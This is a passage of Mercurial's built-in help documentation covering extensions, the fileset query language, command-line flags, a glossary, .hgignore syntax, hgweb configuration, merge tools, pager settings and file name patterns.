clonebundles
advertise pre-generated bundles to seed clones

closehead
close arbitrary heads without checking them out first

convert
import revisions from foreign VCS repositories into Mercurial

eol
automatically manage newlines in repository files

extdiff
command to allow external programs to compare revisions

factotum
http authentication with factotum

fastexport
export repositories as git fast-import stream

githelp
try mapping git commands to Mercurial commands

gpg
commands to sign and verify changesets

hgk
browse the repository in a graphical way

highlight
syntax highlighting for hgweb (requires Pygments)

histedit
interactive history editing

keyword
expand keywords in tracked files

largefiles
track large binary files

mq
manage a stack of patches

notify
hooks for sending email push notifications

patchbomb
command to send changesets as (a series of) patch emails

rebase
command to move sets of revisions to a different ancestor

relink
recreates hardlinks between repository clones

schemes
extend schemes with shortcuts to repository swarms

share
share a common history between several working directories

transplant
command to transplant changesets from another branch

win32mbcs
allow the use of MBCS paths with problematic encodings

zeroconf
discover and advertise repositories on the local network

SPECIFYING FILE SETS

Mercurial supports a functional language for selecting a set of files.

Like other file patterns, this pattern type is indicated by a prefix, ‘set:’. The language supports a number of predicates which are joined by infix operators. Parenthesis can be used for grouping.

Identifiers such as filenames or patterns must be quoted with single or double quotes if they contain characters outside of [.*{}[]?/\a-zA-Z0-9�-�] or if they match one of the predefined predicates. This generally applies to file patterns other than globs and arguments for predicates. Pattern prefixes such as path: may be specified without quoting.

Special characters can be used in quoted identifiers by escaping them, e.g., ** ** is interpreted as a newline. To prevent them from being interpreted, strings can be prefixed with r, e.g. r’…’.

See also hg help patterns.

Operators

There is a single prefix operator:

not x
Files not in x. Short form is ! x.

These are the supported infix operators:

x and y
The intersection of files in x and y. Short form is x & y.

x or y
The union of files in x and y. There are two alternative short forms: x | y and x + y.

x - y
Files in x but not in y.

Predicates

The following predicates are supported:

added()
File that is added according to hg status.

binary()
File that appears to be binary (contains NUL bytes).

clean()
File that is clean according to hg status.

copied()
File that is recorded as being copied.

deleted()
Alias for missing().

encoding(name)
File can be successfully decoded with the given character encoding. May not be useful for encodings other than ASCII and UTF-8.

eol(style)
File contains newlines of the given style (dos, unix, mac). Binary files are excluded, files with mixed line endings match multiple styles.

exec()
File that is marked as executable.

grep(regex)
File contains the given regular expression.

hgignore()
File that matches the active .hgignore pattern.

ignored()
File that is ignored according to hg status.

missing()
File that is missing according to hg status.

modified()
File that is modified according to hg status.

portable()
File that has a portable name. (This doesn’t include filenames with case collisions.)

removed()
File that is removed according to hg status.

resolved()
File that is marked resolved according to hg resolve -l.

revs(revs, pattern)
Evaluate set in the specified revisions. If the revset match multiple revs, this will return file matching pattern in any of the revision.

size(expression)
File size matches the given expression. Examples:

  • size(‘1k’) - files from 1024 to 2047 bytes

  • size(’< 20k’) - files less than 20480 bytes

  • size(’>= .5MB’) - files at least 524288 bytes

  • size(‘4k - 1MB’) - files from 4096 bytes to 1048576 bytes

status(base, rev, pattern)
Evaluate predicate using status change between base and rev. Examples:

  • status(3, 7, added()) - matches files added from “3” to “7”

subrepo([pattern])
Subrepositories whose paths match the given pattern.

symlink()
File that is marked as a symlink.

tracked()
File that is under Mercurial control.

unknown()
File that is unknown according to hg status.

unresolved()
File that is marked unresolved according to hg resolve -l.

Examples

Some sample queries:

  • Show status of files that appear to be binary in the working directory:
hg status -A "set:binary()"
  • Forget files that are in .hgignore but are already tracked:
hg forget "set:hgignore() and not ignored()"
  • Find text files that contain a string:
hg files "set:grep(magic) and not binary()"
  • Find C files in a non-standard encoding:
hg files "set:**.c and not encoding('UTF-8')"
  • Revert copies of large binary files:
hg revert "set:copied() and binary() and size('>1M')"
  • Revert files that were added to the working directory:
hg revert "set:revs('wdir()', added())"
  • Remove files listed in foo.lst that contain the letter a or b:
hg remove "set: listfile:foo.lst and (**a* or **b*)"

COMMAND-LINE FLAGS

Most Mercurial commands accept various flags.

Flag names

Flags for each command are listed in hg help for that command. Additionally, some flags, such as –repository, are global and can be used with any command - those are seen in hg help -v, and can be specified before or after the command.

Every flag has at least a long name, such as –repository. Some flags may also have a short one-letter name, such as the equivalent -R. Using the short or long name is equivalent and has the same effect. The long name may be abbreviated to any unambiguous prefix. For example, hg commit –amend can be abbreviated to hg commit –am.

Flags that have a short name can also be bundled together - for instance, to specify both –edit (short -e) and –interactive (short -i), one could use:

hg commit -ei

If any of the bundled flags takes a value (i.e. is not a boolean), it must be last, followed by the value:

hg commit -im 'Message'

Flag types

Mercurial command-line flags can be strings, numbers, booleans, or lists of strings.

Specifying flag values

The following syntaxes are allowed, assuming a flag ‘flagname’ with short name ‘f’:

--flagname=foo
--flagname foo
-f foo
-ffoo

This syntax applies to all non-boolean flags (strings, numbers or lists).

Specifying boolean flags

Boolean flags do not take a value parameter. To specify a boolean, use the flag name to set it to true, or the same name prefixed with ’no-’ to set it to false:

hg commit --interactive
hg commit --no-interactive

Specifying list flags

List flags take multiple values. To specify them, pass the flag multiple times:

hg files --include mercurial --include tests

Setting flag defaults

In order to set a default value for a flag in an hgrc file, it is recommended to use aliases:

[alias]
commit = commit --interactive

For more information on hgrc files, see hg help config.

Overriding flags on the command line

If the same non-list flag is specified multiple times on the command line, the latest specification is used:

hg commit -m "Ignored value" -m "Used value"

This includes the use of aliases - e.g., if one has:

[alias]
committemp = commit -m "Ignored value"

then the following command will override that -m:

hg committemp -m "Used value"

Overriding flag defaults

Every flag has a default value, and you may also set your own defaults in hgrc as described above. Except for list flags, defaults can be overridden on the command line simply by specifying the flag in that location.

Hidden flags

Some flags are not shown in a command’s help by default - specifically, those that are deemed to be experimental, deprecated or advanced. To show all flags, add the –verbose flag for the help command:

hg help --verbose commit

GLOSSARY

Ancestor
Any changeset that can be reached by an unbroken chain of parent changesets from a given changeset. More precisely, the ancestors of a changeset can be defined by two properties: a parent of a changeset is an ancestor, and a parent of an ancestor is an ancestor. See also: ‘Descendant’.

Bookmark
Bookmarks are pointers to certain commits that move when committing. They are similar to tags in that it is possible to use bookmark names in all places where Mercurial expects a changeset ID, e.g., with hg update. Unlike tags, bookmarks move along when you make a commit.

Bookmarks can be renamed, copied and deleted. Bookmarks are local, unless they are explicitly pushed or pulled between repositories. Pushing and pulling bookmarks allow you to collaborate with others on a branch without creating a named branch.

Branch
(Noun) A child changeset that has been created from a parent that is not a head. These are known as topological branches, see ‘Branch, topological’. If a topological branch is named, it becomes a named branch. If a topological branch is not named, it becomes an anonymous branch. See ‘Branch, anonymous’ and ‘Branch, named’.

Branches may be created when changes are pulled from or pushed to a remote repository, since new heads may be created by these operations. Note that the term branch can also be used informally to describe a development process in which certain development is done independently of other development. This is sometimes done explicitly with a named branch, but it can also be done locally, using bookmarks or clones and anonymous branches.

Example: “The experimental branch.”

(Verb) The action of creating a child changeset which results in its parent having more than one child.

Example: “I’m going to branch at X.”

Branch, anonymous
Every time a new child changeset is created from a parent that is not a head and the name of the branch is not changed, a new anonymous branch is created.

Branch, closed
A named branch whose branch heads have all been closed.

Branch, default
The branch assigned to a changeset when no name has previously been assigned.

Branch head
See ‘Head, branch’.

Branch, inactive
If a named branch has no topological heads, it is considered to be inactive. As an example, a feature branch becomes inactive when it is merged into the default branch. The hg branches command shows inactive branches by default, though they can be hidden with hg branches –active.

NOTE: this concept is deprecated because it is too implicit. Branches should now be explicitly closed using hg commit –close-branch when they are no longer needed.

Branch, named
A collection of changesets which have the same branch name. By default, children of a changeset in a named branch belong to the same named branch. A child can be explicitly assigned to a different branch. See hg help branch, hg help branches and hg commit –close-branch for more information on managing branches.

Named branches can be thought of as a kind of namespace, dividing the collection of changesets that comprise the repository into a collection of disjoint subsets. A named branch is not necessarily a topological branch. If a new named branch is created from the head of another named branch, or the default branch, but no further changesets are added to that previous branch, then that previous branch will be a branch in name only.

Branch tip
See ‘Tip, branch’.

Branch, topological
Every time a new child changeset is created from a parent that is not a head, a new topological branch is created. If a topological branch is named, it becomes a named branch. If a topological branch is not named, it becomes an anonymous branch of the current, possibly default, branch.

Changelog
A record of the changesets in the order in which they were added to the repository. This includes details such as changeset id, author, commit message, date, and list of changed files.

Changeset
A snapshot of the state of the repository used to record a change.

Changeset, child
The converse of parent changeset: if P is a parent of C, then C is a child of P. There is no limit to the number of children that a changeset may have.

Changeset id
A SHA-1 hash that uniquely identifies a changeset. It may be represented as either a “long” 40 hexadecimal digit string, or a “short” 12 hexadecimal digit string.

Changeset, merge
A changeset with two parents. This occurs when a merge is committed.

Changeset, parent
A revision upon which a child changeset is based. Specifically, a parent changeset of a changeset C is a changeset whose node immediately precedes C in the DAG. Changesets have at most two parents.

Checkout
(Noun) The working directory being updated to a specific revision. This use should probably be avoided where possible, as changeset is much more appropriate than checkout in this context.

Example: “I’m using checkout X.”

(Verb) Updating the working directory to a specific changeset. See hg help update.

Example: “I’m going to check out changeset X.”

Child changeset
See ‘Changeset, child’.

Close changeset
See ‘Head, closed branch’.

Closed branch
See ‘Branch, closed’.

Clone
(Noun) An entire or partial copy of a repository. The partial clone must be in the form of a revision and its ancestors.

Example: “Is your clone up to date?”

(Verb) The process of creating a clone, using hg clone.

Example: “I’m going to clone the repository.”

Closed branch head
See ‘Head, closed branch’.

Commit
(Noun) A synonym for changeset.

Example: “Is the bug fixed in your recent commit?”

(Verb) The act of recording changes to a repository. When files are committed in a working directory, Mercurial finds the differences between the committed files and their parent changeset, creating a new changeset in the repository.

Example: “You should commit those changes now.”

Cset
A common abbreviation of the term changeset.

DAG
The repository of changesets of a distributed version control system (DVCS) can be described as a directed acyclic graph (DAG), consisting of nodes and edges, where nodes correspond to changesets and edges imply a parent -> child relation. This graph can be visualized by graphical tools such as hg log –graph. In Mercurial, the DAG is limited by the requirement for children to have at most two parents.

Deprecated
Feature removed from documentation, but not scheduled for removal.

Default branch
See ‘Branch, default’.

Descendant
Any changeset that can be reached by a chain of child changesets from a given changeset. More precisely, the descendants of a changeset can be defined by two properties: the child of a changeset is a descendant, and the child of a descendant is a descendant. See also: ‘Ancestor’.

Diff
(Noun) The difference between the contents and attributes of files in two changesets or a changeset and the current working directory. The difference is usually represented in a standard form called a “diff” or “patch”. The “git diff” format is used when the changes include copies, renames, or changes to file attributes, none of which can be represented/handled by classic “diff” and “patch”.

Example: “Did you see my correction in the diff?”

(Verb) Diffing two changesets is the action of creating a diff or patch.

Example: “If you diff with changeset X, you will see what I mean.”

Directory, working
The working directory represents the state of the files tracked by Mercurial, that will be recorded in the next commit. The working directory initially corresponds to the snapshot at an existing changeset, known as the parent of the working directory. See ‘Parent, working directory’. The state may be modified by changes to the files introduced manually or by a merge. The repository metadata exists in the .hg directory inside the working directory.

Draft
Changesets in the draft phase have not been shared with publishing repositories and may thus be safely changed by history-modifying extensions. See hg help phases.

Experimental
Feature that may change or be removed at a later date.

Graph
See DAG and hg log –graph.

Head
The term ‘head’ may be used to refer to both a branch head or a repository head, depending on the context. See ‘Head, branch’ and ‘Head, repository’ for specific definitions.

Heads are where development generally takes place and are the usual targets for update and merge operations.

Head, branch
A changeset with no descendants on the same named branch.

Head, closed branch
A changeset that marks a head as no longer interesting. The closed head is no longer listed by hg heads. A branch is considered closed when all its heads are closed and consequently is not listed by hg branches.

Closed heads can be re-opened by committing new changeset as the child of the changeset that marks a head as closed.

Head, repository
A topological head which has not been closed.

Head, topological
A changeset with no children in the repository.

History, immutable
Once committed, changesets cannot be altered. Extensions which appear to change history actually create new changesets that replace existing ones, and then destroy the old changesets. Doing so in public repositories can result in old changesets being reintroduced to the repository.

History, rewriting
The changesets in a repository are immutable. However, extensions to Mercurial can be used to alter the repository, usually in such a way as to preserve changeset contents.

Immutable history
See ‘History, immutable’.

Merge changeset
See ‘Changeset, merge’.

Manifest
Each changeset has a manifest, which is the list of files that are tracked by the changeset.

Merge
Used to bring together divergent branches of work. When you update to a changeset and then merge another changeset, you bring the history of the latter changeset into your working directory. Once conflicts are resolved (and marked), this merge may be committed as a merge changeset, bringing two branches together in the DAG.

Named branch
See ‘Branch, named’.

Null changeset
The empty changeset. It is the parent state of newly-initialized repositories and repositories with no checked out revision. It is thus the parent of root changesets and the effective ancestor when merging unrelated changesets. Can be specified by the alias ’null’ or by the changeset ID ‘000000000000’.

Parent
See ‘Changeset, parent’.

Parent changeset
See ‘Changeset, parent’.

Parent, working directory
The working directory parent reflects a virtual revision which is the child of the changeset (or two changesets with an uncommitted merge) shown by hg parents. This is changed with hg update. Other commands to see the working directory parent are hg summary and hg id. Can be specified by the alias “.”.

Patch
(Noun) The product of a diff operation.

Example: “I’ve sent you my patch.”

(Verb) The process of using a patch file to transform one changeset into another.

Example: “You will need to patch that revision.”

Phase
A per-changeset state tracking how the changeset has been or should be shared. See hg help phases.

Public
Changesets in the public phase have been shared with publishing repositories and are therefore considered immutable. See hg help phases.

Pull
An operation in which changesets in a remote repository which are not in the local repository are brought into the local repository. Note that this operation without special arguments only updates the repository, it does not update the files in the working directory. See hg help pull.

Push
An operation in which changesets in a local repository which are not in a remote repository are sent to the remote repository. Note that this operation only adds changesets which have been committed locally to the remote repository. Uncommitted changes are not sent. See hg help push.

Repository
The metadata describing all recorded states of a collection of files. Each recorded state is represented by a changeset. A repository is usually (but not always) found in the .hg subdirectory of a working directory. Any recorded state can be recreated by “updating” a working directory to a specific changeset.

Repository head
See ‘Head, repository’.

Revision
A state of the repository at some point in time. Earlier revisions can be updated to by using hg update. See also ‘Revision number’; See also ‘Changeset’.

Revision number
This integer uniquely identifies a changeset in a specific repository. It represents the order in which changesets were added to a repository, starting with revision number 0. Note that the revision number may be different in each clone of a repository. To identify changesets uniquely between different clones, see ‘Changeset id’.

Revlog
History storage mechanism used by Mercurial. It is a form of delta encoding, with occasional full revision of data followed by delta of each successive revision. It includes data and an index pointing to the data.

Rewriting history
See ‘History, rewriting’.

Root
A changeset that has only the null changeset as its parent. Most repositories have only a single root changeset.

Secret
Changesets in the secret phase may not be shared via push, pull, or clone. See hg help phases.

Tag
An alternative name given to a changeset. Tags can be used in all places where Mercurial expects a changeset ID, e.g., with hg update. The creation of a tag is stored in the history and will thus automatically be shared with other using push and pull.

Tip
The changeset with the highest revision number. It is the changeset most recently added in a repository.

Tip, branch
The head of a given branch with the highest revision number. When a branch name is used as a revision identifier, it refers to the branch tip. See also ‘Branch, head’. Note that because revision numbers may be different in different repository clones, the branch tip may be different in different cloned repositories.

Update
(Noun) Another synonym of changeset.

Example: “I’ve pushed an update.”

(Verb) This term is usually used to describe updating the state of the working directory to that of a specific changeset. See hg help update.

Example: “You should update.”

Working directory
See ‘Directory, working’.

Working directory parent
See ‘Parent, working directory’.

SYNTAX FOR MERCURIAL IGNORE FILES

Synopsis

The Mercurial system uses a file called .hgignore in the root directory of a repository to control its behavior when it searches for files that it is not currently tracking.

Description

The working directory of a Mercurial repository will often contain files that should not be tracked by Mercurial. These include backup files created by editors and build products created by compilers. These files can be ignored by listing them in a .hgignore file in the root of the working directory. The .hgignore file must be created manually. It is typically put under version control, so that the settings will propagate to other repositories with push and pull.

An untracked file is ignored if its path relative to the repository root directory, or any prefix path of that path, is matched against any pattern in .hgignore.

For example, say we have an untracked file, file.c, at a/b/file.c inside our repository. Mercurial will ignore file.c if any pattern in .hgignore matches a/b/file.c, a/b or a.

In addition, a Mercurial configuration file can reference a set of per-user or global ignore files. See the ignore configuration key on the [ui] section of hg help config for details of how to configure these files.

To control Mercurial’s handling of files that it manages, many commands support the -I and -X options; see hg help <command> and hg help patterns for details.

Files that are already tracked are not affected by .hgignore, even if they appear in .hgignore. An untracked file X can be explicitly added with hg add X, even if X would be excluded by a pattern in .hgignore.

Syntax

An ignore file is a plain text file consisting of a list of patterns, with one pattern per line. Empty lines are skipped. The # character is treated as a comment character, and the ** character is treated as an escape character.

Mercurial supports several pattern syntaxes. The default syntax used is Python/Perl-style regular expressions.

To change the syntax used, use a line of the following form:

syntax: NAME

where NAME is one of the following:

regexp
Regular expression, Python/Perl syntax.

glob
Shell-style glob.

rootglob
A variant of glob that is rooted (see below).

The chosen syntax stays in effect when parsing all patterns that follow, until another syntax is selected.

Neither glob nor regexp patterns are rooted. A glob-syntax pattern of the form *.c will match a file ending in .c in any directory, and a regexp pattern of the form \c$ will do the same. To root a regexp pattern, start it with ^. To get the same effect with glob-syntax, you have to use rootglob.

Subdirectories can have their own .hgignore settings by adding subinclude:path/to/subdir/.hgignore to the root .hgignore. See hg help patterns for details on subinclude: and include:.

Note
Patterns specified in other than .hgignore are always rooted. Please see hg help patterns for details.

Example

Here is an example ignore file.

# use glob syntax.
syntax: glob

*.elc
*.pyc
*~

# switch to regexp syntax.
syntax: regexp
^\.pc/

Debugging

Use the debugignore command to see if and why a file is ignored, or to see the combined ignore pattern. See hg help debugignore for details.

CONFIGURING HGWEB

Mercurial’s internal web server, hgweb, can serve either a single repository, or a tree of repositories. In the second case, repository paths and global options can be defined using a dedicated configuration file common to hg serve, hgweb.wsgi, hgweb.cgi and hgweb.fcgi.

This file uses the same syntax as other Mercurial configuration files but recognizes only the following sections:

  • web

  • paths

  • collections

The web options are thoroughly described in hg help config.

The paths section maps URL paths to paths of repositories in the filesystem. hgweb will not expose the filesystem directly - only Mercurial repositories can be published and only according to the configuration.

The left hand side is the path in the URL. Note that hgweb reserves subpaths like rev or file, try using different names for nested repositories to avoid confusing effects.

The right hand side is the path in the filesystem. If the specified path ends with * or ** the filesystem will be searched recursively for repositories below that point. With * it will not recurse into the repositories it finds (except for .hg/patches). With ** it will also search inside repository working directories and possibly find subrepositories.

In this example:

[paths]
/projects/a = /srv/tmprepos/a
/projects/b = c:/repos/b
/ = /srv/repos/*
/user/bob = /home/bob/repos/**
  • The first two entries make two repositories in different directories appear under the same directory in the web interface

  • The third entry will publish every Mercurial repository found in /srv/repos/, for instance the repository /srv/repos/quux/ will appear as http://server/quux/

  • The fourth entry will publish both http://server/user/bob/quux/ and http://server/user/bob/quux/testsubrepo/

The collections section is deprecated and has been superseded by paths.

URLs and Common Arguments

URLs under each repository have the form /{command}[/{arguments}] where {command} represents the name of a command or handler and {arguments} represents any number of additional URL parameters to that command.

The web server has a default style associated with it. Styles map to a collection of named templates. Each template is used to render a specific piece of data, such as a changeset or diff.

The style for the current request can be overridden two ways. First, if {command} contains a hyphen (-), the text before the hyphen defines the style. For example, /atom-log will render the log command handler with the atom style. The second way to set the style is with the style query string argument. For example, /log?style=atom. The hyphenated URL parameter is preferred.

Not all templates are available for all styles. Attempting to use a style that doesn’t have all templates defined may result in an error rendering the page.

Many commands take a {revision} URL parameter. This defines the changeset to operate on. This is commonly specified as the short, 12 digit hexadecimal abbreviation for the full 40 character unique revision identifier. However, any value described by hg help revisions typically works.

Commands and URLs

The following web commands and their URLs are available:

/annotate/{revision}/{path}

Show changeset information for each line in a file.

The ignorews, ignorewsamount, ignorewseol, and ignoreblanklines query string arguments have the same meaning as their [annotate] config equivalents. It uses the hgrc boolean parsing logic to interpret the value. e.g. 0 and false are false and 1 and true are true. If not defined, the server default settings are used.

The fileannotate template is rendered.

/archive/{revision}.{format}[/{path}]

Obtain an archive of repository content.

The content and type of the archive is defined by a URL path parameter. format is the file extension of the archive type to be generated. e.g. zip or tar.bz2. Not all archive types may be allowed by your server configuration.

The optional path URL parameter controls content to include in the archive. If omitted, every file in the specified revision is present in the archive. If included, only the specified file or contents of the specified directory will be included in the archive.

No template is used for this handler. Raw, binary content is generated.

/bookmarks

Show information about bookmarks.

No arguments are accepted.

The bookmarks template is rendered.

/branches

Show information about branches.

All known branches are contained in the output, even closed branches.

No arguments are accepted.

The branches template is rendered.

/changelog[/{revision}]

Show information about multiple changesets.

If the optional revision URL argument is absent, information about all changesets starting at tip will be rendered. If the revision argument is present, changesets will be shown starting from the specified revision.

If revision is absent, the rev query string argument may be defined. This will perform a search for changesets.

The argument for rev can be a single revision, a revision set, or a literal keyword to search for in changeset data (equivalent to hg log -k).

The revcount query string argument defines the maximum numbers of changesets to render.

For non-searches, the changelog template will be rendered.

/changeset[/{revision}]

Show information about a single changeset.

A URL path argument is the changeset identifier to show. See hg help revisions for possible values. If not defined, the tip changeset will be shown.

The changeset template is rendered. Contents of the changesettag, changesetbookmark, filenodelink, filenolink, and the many templates related to diffs may all be used to produce the output.

/comparison/{revision}/{path}

Show a comparison between the old and new versions of a file from changes made on a particular revision.

This is similar to the diff handler. However, this form features a split or side-by-side diff rather than a unified diff.

The context query string argument can be used to control the lines of context in the diff.

The filecomparison template is rendered.

/diff/{revision}/{path}

Show how a file changed in a particular commit.

The filediff template is rendered.

This handler is registered under both the /diff and /filediff paths. /diff is used in modern code.

/file/{revision}[/{path}]

Show information about a directory or file in the repository.

Info about the path given as a URL parameter will be rendered.

If path is a directory, information about the entries in that directory will be rendered. This form is equivalent to the manifest handler.

If path is a file, information about that file will be shown via the filerevision template.

If path is not defined, information about the root directory will be rendered.

/diff/{revision}/{path}

Show how a file changed in a particular commit.

The filediff template is rendered.

This handler is registered under both the /diff and /filediff paths. /diff is used in modern code.

/filelog/{revision}/{path}

Show information about the history of a file in the repository.

The revcount query string argument can be defined to control the maximum number of entries to show.

The filelog template will be rendered.

/graph[/{revision}]

Show information about the graphical topology of the repository.

Information rendered by this handler can be used to create visual representations of repository topology.

The revision URL parameter controls the starting changeset. If it’s absent, the default is tip.

The revcount query string argument can define the number of changesets to show information for.

The graphtop query string argument can specify the starting changeset for producing jsdata variable that is used for rendering graph in JavaScript. By default it has the same value as revision.

This handler will render the graph template.

/help[/{topic}]

Render help documentation.

This web command is roughly equivalent to hg help. If a topic is defined, that help topic will be rendered. If not, an index of available help topics will be rendered.

The help template will be rendered when requesting help for a topic. helptopics will be rendered for the index of help topics.

/log[/{revision}[/{path}]]

Show repository or file history.

For URLs of the form /log/{revision}, a list of changesets starting at the specified changeset identifier is shown. If {revision} is not defined, the default is tip. This form is equivalent to the changelog handler.

For URLs of the form /log/{revision}/{file}, the history for a specific file will be shown. This form is equivalent to the filelog handler.

/manifest[/{revision}[/{path}]]

Show information about a directory.

If the URL path arguments are omitted, information about the root directory for the tip changeset will be shown.

Because this handler can only show information for directories, it is recommended to use the file handler instead, as it can handle both directories and files.

The manifest template will be rendered for this handler.

/changeset[/{revision}]

Show information about a single changeset.

A URL path argument is the changeset identifier to show. See hg help revisions for possible values. If not defined, the tip changeset will be shown.

The changeset template is rendered. Contents of the changesettag, changesetbookmark, filenodelink, filenolink, and the many templates related to diffs may all be used to produce the output.

/shortlog

Show basic information about a set of changesets.

This accepts the same parameters as the changelog handler. The only difference is the shortlog template will be rendered instead of the changelog template.

/summary

Show a summary of repository state.

Information about the latest changesets, bookmarks, tags, and branches is captured by this handler.

The summary template is rendered.

/tags

Show information about tags.

No arguments are accepted.

The tags template is rendered.

TECHNICAL IMPLEMENTATION TOPICS

To access a subtopic, use “hg help internals.{subtopic-name}”

bid-merge
Bid Merge Algorithm

bundle2
Bundle2

bundles
Bundles

cbor
CBOR

censor
Censor

changegroups
Changegroups

config
Config Registrar

dirstate-v2
dirstate-v2 file format

extensions
Extension API

mergestate
Mergestate

requirements
Repository Requirements

revlogs
Revision Logs

wireprotocol
Wire Protocol

wireprotocolrpc
Wire Protocol RPC

wireprotocolv2
Wire Protocol Version 2

MERGE TOOLS

To merge files Mercurial uses merge tools.

A merge tool combines two different versions of a file into a merged file. Merge tools are given the two files and the greatest common ancestor of the two file versions, so they can determine the changes made on both branches.

Merge tools are used both for hg resolve, hg merge, hg update, hg backout and in several extensions.

Usually, the merge tool tries to automatically reconcile the files by combining all non-overlapping changes that occurred separately in the two different evolutions of the same initial base file. Furthermore, some interactive merge programs make it easier to manually resolve conflicting merges, either in a graphical way, or by inserting some conflict markers. Mercurial does not include any interactive merge programs but relies on external tools for that.

Available merge tools

External merge tools and their properties are configured in the merge-tools configuration section - see hgrc(5) - but they can often just be named by their executable.

A merge tool is generally usable if its executable can be found on the system and if it can handle the merge. The executable is found if it is an absolute or relative executable path or the name of an application in the executable search path. The tool is assumed to be able to handle the merge if it can handle symlinks if the file is a symlink, if it can handle binary files if the file is binary, and if a GUI is available if the tool requires a GUI.

There are some internal merge tools which can be used. The internal merge tools are:

:dump
Creates three versions of the files to merge, containing the contents of local, other and base. These files can then be used to perform a merge manually. If the file to be merged is named a.txt, these files will accordingly be named a.txt.local, a.txt.other and a.txt.base and they will be placed in the same directory as a.txt.

This implies premerge. Therefore, files aren’t dumped, if premerge runs successfully. Use :forcedump to forcibly write files out.

(actual capabilities: binary, symlink)

:fail
Rather than attempting to merge files that were modified on both branches, it marks them as unresolved. The resolve command must be used to resolve these conflicts.

(actual capabilities: binary, symlink)

:forcedump
Creates three versions of the files as same as :dump, but omits premerge.

(actual capabilities: binary, symlink)

:local
Uses the local p1() version of files as the merged version.

(actual capabilities: binary, symlink)

:merge
Uses the internal non-interactive simple merge algorithm for merging files. It will fail if there are any conflicts and leave markers in the partially merged file. Markers will have two sections, one for each side of merge.

:merge-local
Like :merge, but resolve all conflicts non-interactively in favor of the local p1() changes.

:merge-other
Like :merge, but resolve all conflicts non-interactively in favor of the other p2() changes.

:merge3
Uses the internal non-interactive simple merge algorithm for merging files. It will fail if there are any conflicts and leave markers in the partially merged file. Marker will have three sections, one from each side of the merge and one for the base content.

:mergediff
Uses the internal non-interactive simple merge algorithm for merging files. It will fail if there are any conflicts and leave markers in the partially merged file. The marker will have two sections, one with the content from one side of the merge, and one with a diff from the base content to the content on the other side. (experimental)

:other
Uses the other p2() version of files as the merged version.

(actual capabilities: binary, symlink)

:prompt
Asks the user which of the local p1() or the other p2() version to keep as the merged version.

(actual capabilities: binary, symlink)

:tagmerge
Uses the internal tag merge algorithm (experimental).

:union
Uses the internal non-interactive simple merge algorithm for merging files. It will use both local and other sides for conflict regions by adding local on top of other. No markers are inserted.

:union-other-first
Like :union, but add other on top of local.

Internal tools are always available and do not require a GUI but will by default not handle symlinks or binary files. See next section for detail about “actual capabilities” described above.

Choosing a merge tool

Mercurial uses these rules when deciding which merge tool to use:

  1. If a tool has been specified with the –tool option to merge or resolve, it is used. If it is the name of a tool in the merge-tools configuration, its configuration is used. Otherwise the specified tool must be executable by the shell.

  2. If the HGMERGE environment variable is present, its value is used and must be executable by the shell.

  3. If the filename of the file to be merged matches any of the patterns in the merge-patterns configuration section, the first usable merge tool corresponding to a matching pattern is used.

  4. If ui.merge is set it will be considered next. If the value is not the name of a configured tool, the specified value is used and must be executable by the shell. Otherwise the named tool is used if it is usable.

  5. If any usable merge tools are present in the merge-tools configuration section, the one with the highest priority is used.

  6. If a program named hgmerge can be found on the system, it is used - but it will by default not be used for symlinks and binary files.

  7. If the file to be merged is not binary and is not a symlink, then internal :merge is used.

  8. Otherwise, :prompt is used.

For historical reason, Mercurial treats merge tools as below while examining rules above.

_
stepspecified viabinarysymlink
_
--toolo/oo/o
_
HGMERGEo/oo/o
_
merge-patternso/o(*)x/?(*)
_
ui.mergex/?(*)x/?(*)
_

Each capability column indicates Mercurial behavior for internal/external merge tools at examining each rule.

  • “o”: “assume that a tool has capability”

  • “x”: “assume that a tool does not have capability”

  • “?”: “check actual capability of a tool”

If merge.strict-capability-check configuration is true, Mercurial checks capabilities of merge tools strictly in (*) cases above (= each capability column becomes “?/?”). It is false by default for backward compatibility.

Note
After selecting a merge program, Mercurial will by default attempt to merge the files using a simple merge algorithm first. Only if it doesn’t succeed because of conflicting changes will Mercurial actually execute the merge program. Whether to use the simple merge algorithm first can be controlled by the premerge setting of the merge tool. Premerge is enabled by default unless the file is binary or a symlink.

See the merge-tools and ui sections of hgrc(5) for details on the configuration of merge tools.

PAGER SUPPORT

Some Mercurial commands can produce a lot of output, and Mercurial will attempt to use a pager to make those commands more pleasant.

To set the pager that should be used, set the application variable:

[pager]
pager = less -FRX

If no pager is set in the user or repository configuration, Mercurial uses the environment variable $PAGER. If $PAGER is not set, pager.pager from the default or system configuration is used. If none of these are set, a default pager will be used, typically less on Unix and more on Windows.

On Windows, more is not color aware, so using it effectively disables color. MSYS and Cygwin shells provide less as a pager, which can be configured to support ANSI color codes. See hg help config.color.pagermode to configure the color mode when invoking a pager.

You can disable the pager for certain commands by adding them to the pager.ignore list:

[pager]
ignore = version, help, update

To ignore global commands like hg version or hg help, you have to specify them in your user configuration file.

To control whether the pager is used at all for an individual command, you can use –pager=<value>:

  • use as needed: auto.

  • require the pager: yes or on.

  • suppress the pager: no or off (any unrecognized value will also work).

To globally turn off all attempts to use a pager, set:

[ui]
paginate = never

which will prevent the pager from running.

FILE NAME PATTERNS

Mercurial accepts several notations for identifying one or more files at a time.

By default, Mercurial treats filenames verbatim without pattern matching, relative to the current working directory. Note that your system shell might perform pattern matching of its own before passing filenames into Mercurial.

Alternate pattern notations must be specified explicitly.

Note
Patterns specified in .hgignore are not rooted. Please see hg help hgignore for details.

To use a plain path name without any pattern matching, start it with path:. These path names must completely match starting at the current repository root, and when the path points to a directory, it is matched recursively. To match all files in a directory non-recursively (not including any files in subdirectories), rootfilesin: can be used, specifying an absolute path (relative to the repository root). To match a single file exactly, relative to the repository root, you can use filepath:.

To use an extended glob, start a name with glob:. Globs are rooted at the current directory; a glob such as *.c will only match files in the current directory ending with .c. rootglob: can be used instead of glob: for a glob that is rooted at the root of the repository.

The supported glob syntax extensions are ** to match any string across path separators and {a,b} to mean “a or b”.

To use a Perl/Python regular expression, start a name with re:. Regexp pattern matching is anchored at the root of the repository.

To read name patterns from a file, use listfile: or listfile0:. The latter expects null delimited patterns while the former expects line feeds. Each string read from the file is itself treated as a file pattern.

To read a set of patterns from a file, use include: or subinclude:. include: will use all the patterns from the given file and treat them as if they had been passed in manually. subinclude: will only apply the patterns against files that are under the subinclude file’s directory. See hg help hgignore for details on the format of these files.

All patterns, except for glob: specified in command line (not for -I or -X options), can match also against directories: files under matched directories are treated as matched. For -I and -X options, glob: will match directories recursively.

Plain examples:

path:foo/bar                  a name bar in a directory named foo in the root
                              of the repository
path:some/path                a file or directory named "some/path"
filepath:some/path/to/a/file  exactly a single file named
